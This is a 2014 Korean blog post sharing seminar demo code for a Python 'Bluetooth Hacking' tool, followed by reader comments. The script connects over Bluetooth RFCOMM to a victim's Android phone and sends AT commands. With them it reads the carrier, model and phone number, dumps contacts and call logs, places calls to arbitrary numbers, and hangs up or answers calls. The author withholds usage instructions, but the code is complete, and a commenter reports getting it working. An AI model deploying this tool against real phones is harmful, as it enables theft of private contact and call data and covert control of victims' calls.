본문 바로가기
Security/[리얼] Network

bluetooth를 이용한 안드로이드폰 제어

by blackcon 2014. 2. 7.
728x90

2014년 1월에 처음으로 열린 경남권 세미나에서 발표한 "Bluetooth Security"의 Demo코드를 공개하겠습니다.

블루투스를 공부하면서 스마트폰을 제어할 수 있는 코드를 작성해봤는데요.

구조는 아주 간단하니 다 보이실거에요^^

※악용의 소지가 될 수 있으므로 사용법은 공개하지 않겠습니다.

(질문 환영입니다~!! 물론 태클도 환영해요. 점프연습 많이 해둘게요 ㅋㅋ 다 피해버리겠어 +_+)

Atcommand : 전화단말기나 블루투스를 제어하기 위한 명령어(현재 버전이 오르면서 막힌 명령어도 많음)

# Infomation

1. Language : Python 2.7.6

2. OS : Kali Linux (It's not virtual machine)

3. Smartphone : Samsung Galaxy S3 LTE (SHV-210S)

4. Bluetooth version

- Attacker : 4.0

- Victim : 4.0
#!/usr/bin/python
#-*-coding:utf8-*-
import bluetooth
import sys

class Hack:
    def __init__(self):
        self.phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        print '\n\n [*] Choose the number..'
        print '   [1] Get the target info'
        print '   [2] Phonebook List'
        print '   [3] Dialing'
        #print '   [4] Re Dialing'
        print '   [4] Disconnect Call'
        print '   [5] Get call'
        print '   [q] Quit'

    def getInfo(self, target, port):
        try:
            print " [+] Getting the victim information..."
            self.phoneSock.connect((target, port))
            print " [+] Information "
            self.phoneSock.send("at+cops?\r\n")#Tel company
            print " [=] Telecom : " + self.phoneSock.recv(1024).split(' ')[1].split('\"')[1]
            self.phoneSock.send("at+cgmi\r\n") #Dev company
            print " [=] Company : " + self.phoneSock.recv(1024).split(' ')[1].split('\r\n')[0]
            self.phoneSock.send("at+cgmm\r\n") #Dev model
            print " [=] Dev Model : " + self.phoneSock.recv(1024).split(' ')[1].split('\r\n')[0]
            self.phoneSock.send("at+cnum\r\n") #phone number
            print " [=] Phone number : " + self.phoneSock.recv(1024).split('\"')[1]

        except Exception, e:
            print e

    def getPhonebook(self, target, port):
        try:
            print " [+] Getting the book list..."
            self.phoneSock.connect((target, port))
            atCmd = "AT+CPBS=?\r\n"
            self.phoneSock.send(atCmd)
            print " [+] Selet the mode :: " + self.phoneSock.recv(1024)[2:-4]  # ("ME","SM","DC","RC","MC")
            print ' [+] ME : 저장된 번호'
            print ' [+] SM : '
            print ' [+] DC : 발신전화'
            print ' [+] RC : 수신전화'
            print ' [+] MC : 부재중전화'
            mode = raw_input(" > ")                # Input the mode that result of "AT+CPBS=?"
            atCmd = "AT+CPBS=" + mode + "\r\n"
            self.phoneSock.send(atCmd)
            print self.phoneSock.recv(1024)
            print " [+] How many gets phone number?"
            num = raw_input(" > ")
            for contact in range(int(num)):
                atCmd = 'AT+CPBR=' + str(contact+1) + '\r\n'
                self.phoneSock.send(atCmd)
                result = self.phoneSock.recv(1024).split('\"')
                print ' [%d] %s : %s ' %(contact+1, result[3], result[1])
        except Exception, e:
            print '[-]', e

    def DialingOut(self, target, port):
        try:
            print '[+] Connecting the target...'
            self.phoneSock.connect((target, port))
            print '[+] Input the phone number'
            num = raw_input(" > ")
            atCmd = 'ATD ' + num + '\r\n'    #voice call
            print '[+] Dialing...'
            self.phoneSock.send(atCmd)
            self.phoneSock.recv(1024)
        except Exception, e:
            print '[-]', e
    '''
    def ReDial(self, target, port):
        try:
            print '[+] Connection the target...'
            self.phoneSock.connect((target, port))
            self.phoneSock.send('AT+CPBS=DC\r\n')
            self.phoneSock.recv(1024)
            self.phoneSock.send('AT+CPBR=1\r\n')
            num = self.phoneSock.recv(1024).split('\"')[1]
            print '[+] Re Dialling...'
            self.phoneSock.send("ATD" + num + "\r\n")
            self.phoneSock.recv(1024)
        except Exception, e:
            print '[-]', e
    '''
    def DisconnectCall(self, target, port):
        try:
            print '[+] Connecting the target...'
            self.phoneSock.connect((target, port))
            print '[+] Disconnect.'
            self.phoneSock.send('AT+CHUP\r\n')
            self.phoneSock.recv(1024)
        except Exception, e:
            print '[-]', e
    def GetDial(self, target, port):
        try:
            print '[+] Connecting the target...'
            self.phoneSock.connect((target, port))
            print '[+] Get dialing...'
            self.phoneSock.send('ata\r\n')
            self.phoneSock.recv(1024)
        except Exception, e:
            print '[-]', e
    def __del__(self):
        self.phoneSock.close()

def logo():
    print "###############################"
    print "#                             #"
    print "#   Bluetooth Hacking         #"
    print "#                             #"
    print "#             by blackcon :D  #"
    print "###############################"


def main():
    if len(sys.argv) < 3:
        print ' Usage : %s [target] [port]' %sys.argv[0]
        exit(1)
    logo()
    target = sys.argv[1]
    port = int(sys.argv[2])
    while (1):
        c = Hack()
        sel = raw_input(" >> ")
        print ''
        if sel == "1":        c.getInfo(target, port)
        elif sel == "2":    c.getPhonebook(target, port)
        elif sel == "3":    c.DialingOut(target, port)
        #elif sel == "4":    c.ReDial(target, port)
        elif sel == "4":    c.DisconnectCall(target, port)
        elif sel == "5":    c.GetDial(target, port)
        elif sel == 'q':    break
        else:    "[-] Input error. Try again :D "
        c.__del__()
    print " Bye ~!! :D"
if __name__ == "__main__":
    main()
728x90

댓글10

  • 2015.11.13 03:22

    비밀댓글입니다
    답글

  • 2015.11.14 23:22

    비밀댓글입니다
    답글

  • convon 2015.11.21 01:38 신고

    사용법 알아 냈습니다 감사합니다
    답글

    • blackcon 2015.11.21 23:00 신고

      다행이네요! 그런데 개인적인 소견을 좀 드리자면.. convon님의 실력을 입증할 수 있는 프로그램을 가져가야하는데 이 프로그램을 가져간다고해서 실력입증이 될지 궁금해지네요^^
      뭐.. 제가 공개하긴 했지만, 면접에서 날카로운 질문이 많이 날아올듯 하니 단단히 준비하시길 바랄게요! 내부 원리나 어떻게 이 결과를 도출할 수 있었는지 등등..직접 연구하지 않고 코드만 따라하는 것에는 면접에서 한계가 있을거라 생각합니다!!
      아무쪼록 좋은 결과 있길 바랄게요.

  • 2015.11.22 18:15

    비밀댓글입니다
    답글

  • convon 2015.11.22 18:18 신고

    근데 소스 중간에 따옴표 다섯개는 무슨 의미가 있나요?
    소스긁기만 해서 실행시키는걸 방지하려고 넣어두신건가요?
    답글

  • convon 2015.11.22 18:50 신고

    아 ㅋㅋ
    답글

  • convon 2015.11.25 00:57 신고

    atcommand 명령어들은 어디가면 알 수 있나요??
    답글

    • blackcon 2015.11.25 10:32 신고

      명령어가 표준이 있고 또 제조회사마다 다른걸로 알고있구요. 왜인지 표준이라도 적용 안될때도 있긴하던데...무튼 구글에서 atcommand set관련해서 검색해보시면 많은 자료가 나올거에요!:D